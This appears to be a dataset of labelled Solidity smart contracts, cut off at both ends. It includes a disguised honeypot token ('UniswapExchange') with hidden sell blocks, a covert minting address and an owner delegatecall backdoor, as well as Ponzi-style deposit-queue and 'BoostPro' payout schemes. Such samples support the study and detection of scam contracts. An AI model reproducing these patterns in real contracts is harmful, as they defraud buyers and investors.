uint public currentReceiverIndex = 0;
uint public currentQueueSize = 0;
LastDepositInfo public lastDepositInfoForPrize;
LastDepositInfo public previosDepositInfoForPrize;
uint public prizeAmount = 0;
uint public prizeStageAmount = 0;
int public stage = 0;
uint128 public lastDepositTime = 0;
mapping(address => DepositCount) public depositsMade;
constructor() public {
support = msg.sender;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function () public payable {
require(tx.gasprice <= GAS_PRICE_MAX * 1000000000);
require(gasleft() >= 250000, "We require more gas!");
checkAndUpdateStage();
if(msg.value > 0){
require(msg.value >= MIN_INVESTMENT && msg.value <= MAX_INVESTMENT);
require(lastDepositInfoForPrize.time <= now + MAX_IDLE_TIME);
require(getNextStageStartTime() >= now + MAX_IDLE_TIME + 10 minutes);
if(currentQueueSize < SIZE_TO_SAVE_INVEST){
addDeposit(msg.sender, msg.value);
} else {
addDeposit(msg.sender, msg.value);
pay();
}
} else if(msg.value == 0 && currentQueueSize > SIZE_TO_SAVE_INVEST){
withdrawPrize();
} else if(msg.value == 0){
require(currentQueueSize <= SIZE_TO_SAVE_INVEST);
require(lastDepositTime > 0 && (now - lastDepositTime) >= TIME_TO_SAVE_INVEST);
returnPays();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeStageAmount)
money = uint128(balance - prizeStageAmount);
uint128 moneyS = uint128(money*SUPPORT_PERCENT/100);
support.send(moneyS);
money -= moneyS;
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
money -= dep.expect;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function returnPays() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
dep.depositor.send(dep.deposit);
money -= dep.deposit;
delete queue[i];
}
prizeStageAmount = 0;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE){
previosDepositInfoForPrize = lastDepositInfoForPrize;
lastDepositInfoForPrize = LastDepositInfo(uint128(currentQueueSize), uint128(now));
}
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
c.count++;
lastDepositTime = uint128(now);
prizeStageAmount += value*PRIZE_PERCENT/100;
}
function checkAndUpdateStage() private {
int _stage = getCurrentStageByTime();
require(_stage >= stage);
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
lastDepositTime = 0;
prizeAmount += prizeStageAmount;
prizeStageAmount = 0;
delete queue;
delete previosDepositInfoForPrize;
delete lastDepositInfoForPrize;
}
function withdrawPrize() private {
require(lastDepositInfoForPrize.time > 0 && lastDepositInfoForPrize.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfoForPrize.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
uint prize = balance;
if(previosDepositInfoForPrize.index > 0){
uint prizePrevios = prize*10/100;
queue[previosDepositInfoForPrize.index].depositor.transfer(prizePrevios);
prize -= prizePrevios;
}
queue[lastDepositInfoForPrize.index].depositor.send(prize);
proceedToNewStage(getCurrentStageByTime() + 1);
}
function push(address depositor, uint deposit, uint expect) private {
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length);
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17847 * 86400 - 19 * 3600) / (24 * 60 * 60);
}
function getNextStageStartTime() public view returns (uint) {
return 17847 * 86400 + 19 * 3600 + uint((getCurrentStageByTime() + 1) * 24 * 60 * 60);
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfoForPrize.index && lastDepositInfoForPrize.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfoForPrize.index];
addr = d.depositor;
timeLeft = int(lastDepositInfoForPrize.time + MAX_IDLE_TIME) - int(now);
}
}
} | 0 | 1,902 |
pragma solidity ^0.4.11;
contract TokenStorage {
function balances(address account) public returns(uint balance);
}
contract PresalerVoting {
string public constant VERSION = "0.0.9";
uint public VOTING_START_BLOCKNR = 0;
uint public VOTING_END_TIME = 0;
TokenStorage PRESALE_CONTRACT = TokenStorage(0x4Fd997Ed7c10DbD04e95d3730cd77D79513076F2);
string[3] private stateNames = ["BEFORE_START", "VOTING_RUNNING", "CLOSED" ];
enum State { BEFORE_START, VOTING_RUNNING, CLOSED }
mapping (address => uint) public rawVotes;
uint private constant MAX_AMOUNT_EQU_0_PERCENT = 10 finney;
uint private constant MIN_AMOUNT_EQU_100_PERCENT = 1 ether ;
uint public constant TOTAL_BONUS_SUPPLY_ETH = 12000;
address public owner;
address[] public voters;
uint16 public stakeVoted_Eth;
uint16 public stakeRemainingToVote_Eth;
uint16 public stakeWaived_Eth;
uint16 public stakeConfirmed_Eth;
function PresalerVoting () {
owner = msg.sender;
}
function ()
onlyState(State.VOTING_RUNNING)
payable {
uint bonusVoted;
uint bonus = PRESALE_CONTRACT.balances(msg.sender);
assert (bonus > 0);
if (msg.value > 1 ether || !msg.sender.send(msg.value)) throw;
if (rawVotes[msg.sender] == 0) {
voters.push(msg.sender);
stakeVoted_Eth += uint16(bonus / 1 ether);
} else {
bonusVoted = votedPerCent(msg.sender) * bonus / 100;
stakeWaived_Eth -= uint16((bonus - bonusVoted) / 1 ether);
stakeConfirmed_Eth -= uint16(bonusVoted / 1 ether);
}
rawVotes[msg.sender] = msg.value > 0 ? msg.value : 1 wei;
bonusVoted = votedPerCent(msg.sender) * bonus / 100;
stakeWaived_Eth += uint16((bonus - bonusVoted) / 1 ether);
stakeConfirmed_Eth += uint16(bonusVoted / 1 ether);
stakeRemainingToVote_Eth = uint16(TOTAL_BONUS_SUPPLY_ETH - stakeVoted_Eth);
}
function votersLen() external returns (uint) { return voters.length; }
function startVoting(uint startBlockNr, uint durationHrs)
onlyOwner
onlyState(State.BEFORE_START) {
VOTING_START_BLOCKNR = max(block.number, startBlockNr);
VOTING_END_TIME = now + max(durationHrs,1) * 1 hours;
}
function setOwner(address newOwner) onlyOwner { owner = newOwner; }
function votedPerCent(address voter) constant public returns (uint) {
var rawVote = rawVotes[voter];
if (rawVote < MAX_AMOUNT_EQU_0_PERCENT) return 0;
else if (rawVote >= MIN_AMOUNT_EQU_100_PERCENT) return 100;
else return rawVote * 100 / 1 ether;
}
function votingEndsInHHMM() constant returns (uint8, uint8) {
var tsec = VOTING_END_TIME - now;
return VOTING_END_TIME==0 ? (0,0) : (uint8(tsec / 1 hours), uint8(tsec % 1 hours / 1 minutes));
}
function currentState() internal constant returns (State) {
if (VOTING_START_BLOCKNR == 0 || block.number < VOTING_START_BLOCKNR) {
return State.BEFORE_START;
} else if (now <= VOTING_END_TIME) {
return State.VOTING_RUNNING;
} else {
return State.CLOSED;
}
}
function state() public constant returns(string) {
return stateNames[uint(currentState())];
}
function max(uint a, uint b) internal constant returns (uint maxValue) { return a>b ? a : b; }
modifier onlyState(State state) {
if (currentState()!=state) throw;
_;
}
modifier onlyOwner() {
if (msg.sender!=owner) throw;
_;
}
} | 1 | 4,203 |
pragma solidity ^0.4.21;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract ZToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function ZToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(address(this).balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 3,297 |
pragma solidity ^0.4.4;
contract InsightsNetwork1 {
address public owner;
address public successor;
mapping (address => uint) public balances;
mapping (address => uint) public unlockTimes;
bool public active;
uint256 _totalSupply;
string public constant name = "INS";
string public constant symbol = "INS";
uint8 public constant decimals = 0;
function InsightsNetwork1() {
owner = msg.sender;
active = true;
}
function register(address newTokenHolder, uint issueAmount) {
require(active);
require(msg.sender == owner);
require(balances[newTokenHolder] == 0);
_totalSupply += issueAmount;
Mint(newTokenHolder, issueAmount);
require(balances[newTokenHolder] < (balances[newTokenHolder] + issueAmount));
balances[newTokenHolder] += issueAmount;
Transfer(address(0), newTokenHolder, issueAmount);
uint currentTime = block.timestamp;
uint unlockTime = currentTime + 365*24*60*60;
assert(unlockTime > currentTime);
unlockTimes[newTokenHolder] = unlockTime;
}
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) returns (bool success) {
return false;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
return false;
}
function approve(address _spender, uint256 _value) returns (bool success) {
return false;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return 0;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function getUnlockTime(address _accountHolder) constant returns (uint256) {
return unlockTimes[_accountHolder];
}
event Mint(address indexed _to, uint256 _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function makeSuccessor(address successorAddr) {
require(active);
require(msg.sender == owner);
successor = successorAddr;
}
function deactivate() {
require(active);
require(msg.sender == owner || (successor != address(0) && msg.sender == successor));
active = false;
}
} | 0 | 639 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,255 |
pragma solidity ^0.4.25;
contract BoostPro {
using SafeMath for uint;
struct Investor
{
uint deposit;
uint datetime;
uint paid;
uint bonus;
address referrer;
}
mapping(address => Investor) public investors;
address private constant ADDRESS_PR = 0x16C223B0Fd0c1090E5273eEBFb672FbF97C3D790;
uint private constant PERCENT_PR_FUND = 10000;
uint private constant REFERRAL_CASHBACK = 2000;
uint private constant REFERRER_BONUS = 3000;
uint private constant DIVIDENDS_TIME = 1 hours;
uint private constant PERCENT_DIVIDER = 100000;
uint private constant RANGE_1 = 10;
uint private constant RANGE_2 = 20;
uint private constant RANGE_3 = 30;
uint private constant RANGE_4 = 60;
uint private constant RANGE_5 = 100;
uint private constant RANGE_6 = 150;
uint private constant RANGE_7 = 300;
uint private constant RANGE_8 = 500;
uint private constant BONUS_1 = 208;
uint private constant BONUS_2 = 188;
uint private constant BONUS_3 = 167;
uint private constant BONUS_4 = 146;
uint private constant BONUS_5 = 125;
uint private constant BONUS_6 = 104;
uint private constant BONUS_7 = 83;
uint private constant BONUS_8 = 63;
uint public investors_count = 0;
uint public transaction_count = 0;
uint public last_payment_date = 0;
uint public paid_by_fund = 0;
modifier isIssetUser() {
require(investors[msg.sender].deposit > 0, "Deposit not found");
_;
}
modifier timePayment() {
require(now >= investors[msg.sender].datetime.add(DIVIDENDS_TIME), "Too fast payout request");
_;
}
function() external payable {
processDeposit();
}
function processDeposit() private {
if (msg.value > 0) {
if (investors[msg.sender].deposit == 0) {
investors_count += 1;
investors[msg.sender].bonus = getBonusPercentRate();
address referrer = bytesToAddress(msg.data);
if (investors[referrer].deposit > 0 && referrer != msg.sender && investors[msg.sender].referrer == 0x0) {
_payoutReferr(msg.sender, referrer);
}
}
if (investors[msg.sender].deposit > 0 && now >= investors[msg.sender].datetime.add(DIVIDENDS_TIME)) {
processPayout();
}
investors[msg.sender].deposit += msg.value;
investors[msg.sender].datetime = now;
transaction_count += 1;
} else {
processPayout();
}
}
function _payoutReferr(address referral, address referrer) private {
investors[referral].referrer = referrer;
uint r_cashback = msg.value.mul(REFERRAL_CASHBACK).div(PERCENT_DIVIDER);
uint r_bonus = msg.value.mul(REFERRER_BONUS).div(PERCENT_DIVIDER);
referral.transfer(r_cashback);
referrer.transfer(r_bonus);
}
function processPayout() isIssetUser timePayment internal {
if (investors[msg.sender].deposit.mul(2) <= investors[msg.sender].paid) {
_delete(msg.sender);
} else {
uint payout = getTotalInterestAmount(msg.sender);
_payout(msg.sender, payout);
}
}
function getTotalInterestAmount(address addr) public view returns(uint) {
uint balance_percent = getBalancePercentRate();
uint amount_per_period = investors[addr].deposit.mul(balance_percent + investors[addr].bonus).div(PERCENT_DIVIDER);
uint period_count = now.sub(investors[addr].datetime).div(DIVIDENDS_TIME);
uint total_amount = amount_per_period.mul(period_count);
total_amount = subtractAmount(addr, amount_per_period, period_count, total_amount);
return total_amount;
}
function subtractAmount(address addr, uint amount_per_period, uint period_count, uint total_amount) public view returns(uint) {
if (investors[addr].paid.add(total_amount) > investors[addr].deposit && investors[addr].bonus > 0) {
uint delta_amount = investors[addr].deposit - investors[addr].paid;
uint delta_period = delta_amount.div(amount_per_period);
uint subtract_period = period_count - delta_period;
uint subtract_amount_per_period = investors[addr].deposit.mul(investors[addr].bonus).div(PERCENT_DIVIDER);
uint subtract_amount = subtract_amount_per_period.mul(subtract_period);
total_amount -= subtract_amount;
}
return total_amount;
}
function _payout(address addr, uint amount) private {
if (investors[addr].paid.add(amount) > investors[addr].deposit && investors[addr].bonus > 0) {
investors[addr].bonus = 0;
}
uint investor_amount = amount.mul(PERCENT_DIVIDER - PERCENT_PR_FUND).div(PERCENT_DIVIDER);
if(investors[addr].paid.add(investor_amount) > investors[addr].deposit.mul(2)) {
investor_amount = investors[addr].deposit.mul(2) - investors[addr].paid;
amount = investor_amount.mul(PERCENT_DIVIDER).div(PERCENT_DIVIDER - PERCENT_PR_FUND);
}
investors[addr].paid += investor_amount;
investors[addr].datetime = now;
uint pr_amount = amount.sub(investor_amount);
paid_by_fund += amount;
last_payment_date = now;
ADDRESS_PR.transfer(pr_amount);
addr.transfer(investor_amount);
}
function getBalancePercentRate() public view returns(uint) {
uint balance = getBalance();
if (balance < 1000 ether) {
return 125;
}
if (balance < 1500 ether) {
return 146;
}
if (balance < 2000 ether) {
return 167;
}
if (balance < 2500 ether) {
return 188;
}
return 208;
}
function getBonusPercentRate() public view returns(uint) {
if (investors_count <= RANGE_1) {
return BONUS_1;
}
if (investors_count <= RANGE_2) {
return BONUS_2;
}
if (investors_count <= RANGE_3) {
return BONUS_3;
}
if (investors_count <= RANGE_4) {
return BONUS_4;
}
if (investors_count <= RANGE_5) {
return BONUS_5;
}
if (investors_count <= RANGE_6) {
return BONUS_6;
}
if (investors_count <= RANGE_7) {
return BONUS_7;
}
if (investors_count <= RANGE_8) {
return BONUS_8;
}
return 42;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function _delete(address addr) private {
investors[addr].deposit = 0;
investors[addr].datetime = 0;
investors[addr].paid = 0;
investors[addr].bonus = 0;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,745 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
